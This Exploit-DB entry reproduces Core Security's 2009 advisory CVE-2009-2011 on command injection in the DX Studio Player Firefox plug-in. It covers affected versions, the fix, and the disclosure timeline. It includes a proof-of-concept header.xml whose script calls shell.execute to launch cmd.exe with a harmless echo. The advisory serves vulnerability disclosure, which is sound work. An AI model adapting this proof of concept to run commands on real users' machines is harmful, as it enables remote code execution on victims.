Exploit-DB #8922
Description: Worldweaver DX Studio Player < 3.0.29.1 Firefox plugin - Command Injection
Type: remote
Platform: windows
Date: 2009-06-10
Author: Core Security

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs/

    DX Studio Player Firefox plug-in command injection



1. *Advisory Information*

Title: DX Studio Player Firefox plug-in command injection
Advisory ID: CORE-2009-0521
Advisory URL:
http://www.coresecurity.com/content/DXStudio-player-firefox-plugin
Date published: 2009-06-09
Date of last update: 2009-06-09
Vendors contacted: Worldweaver
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Command injection
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: N/A
CVE Name: CVE-2009-2011


3. *Vulnerability Description*

DX Studio [1] is a complete integrated development environment for
creating interactive 3D graphics. DX Studio Player plug-in for Firefox
[2] is vulnerable to a remote command execution vulnerability.


4. *Vulnerable packages*

   . DX Studio Player v3.0.29.0
   . DX Studio Player v3.0.22.0
   . DX Studio Player v3.0.12.0
   . Older versions are probably affected too, but they were not checked.


5. *Non-vulnerable packages*

   . DX Studio Player v3.0.29.1


6. *Vendor Information, Solutions and Workarounds*

On June 1st DXStudio team patched the current release 3.0.29 to 3.0.29.1
for all new downloads to fix the problem with the Firefox plugin, and
also posted a sticky announce for all its users [3].


7. *Credits*

This vulnerability was discovered and researched by Diego Juarez from
Core Security Technologies.


8. *Technical Description / Proof of Concept Code*

DX Studio is a complete integrated development environment for creating
interactive 3D graphics. DX Studio provides a javascript API in which
the method 'shell.execute()' is defined as follows:

/-----------

Prototype:
shell.execute(commandString, [paramString], [commandIsProgId]);

- -----------/

This method sends the 'commandString' to the Windows shell with optional
parameters in 'paramString'. For security reasons, this function is not
available when running in a web browser. If you set 'commandIsProgId' to
true, you can launch a utility by its 'ProgID', e.g. 'WMP.DVD' with
parameter 'play' would play a DVD in Windows Media Player.

In our tests, despite what is stated in the documentation, we found that
the function is actually available to both the Internet Explorer and
Firefox browser plug-ins. In the IE plug-in the user does get a warning
about the security implications of allowing such '.dxstudio' file to
run. On Firefox however, there is no such warning whatsoever, allowing
an attacker to execute arbitrary code on the client side by luring the
victim into clicking a link or visiting a malicious website.


8.1. *Proof of Concept (header.xml)*

/-----------

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<dxstudio version="1.0.0" width="800" height="600"
defaultscriptlanguage="javascript">
  <display frame="yes" hidecursor="no" hideconsole="no" hidecontext="no"
maxfps="100" unthrottled="no" priority="normal" syncrefresh="yes"
changeresolution="no" userresize="yes" workarea="no" windowmask="no"
src="" minplayerversion="1.0.0">
    <loading console="yes" custom="no" custombackground="no"
customlogo="yes" showversion="no">
      <prop id="background" type="color" r="0" g="0" b="0" a="1" />
      <logo src="" />
      <customprogress />
    </loading>
  </display>
  <script>
    <![CDATA[function onInit()
{
shell.execute("cmd.exe","/k cls|@echo this is wrong, very wrong.")
} ] ]>
  </script>
  <licenseinfo stamp="cgdaaaaa" />
  <security>
    <prop id="password" type="string" value="" />
    <prop id="allowplayer" type="bool" state="no" />
    <prop id="nocache" type="bool" state="yes" />
  </security>
</dxstudio>

- -----------/

Note: The security vulnerability is also exploitable on the standalone
player, however, this functionality appears to be the expected behavior
and fully intended for the standalone player.


9. *Report Timeline*

. 2009-05-21:
Core Security Technologies notifies the Worldweaver Support Team (WST)
of the vulnerability and announces its initial plan to publish the
content on June 15th, 2009.

. 2009-05-26:
The WST asks Core for a technical description of the vulnerability.

. 2009-05-26:
Technical details sent to WST by Core.

. 2009-06-08:
Core asks WST for an estimated date to fix this issue.

. 2009-06-08:
WST notifies Core that a fix has already been produced and it is
available to the users.

. 2009-06-09:
The advisory CORE-2009-0521 is published.


10. *References*

[1] http://www.dxstudio.com.
[2] http://www.dxstudio.com/download2.aspx.
[3]
http://www.dxstudio.com/forumtopic.aspx?topicid=b4152459-fb5f-4933-b700-b3fbd54f6bfd


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs.


12. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and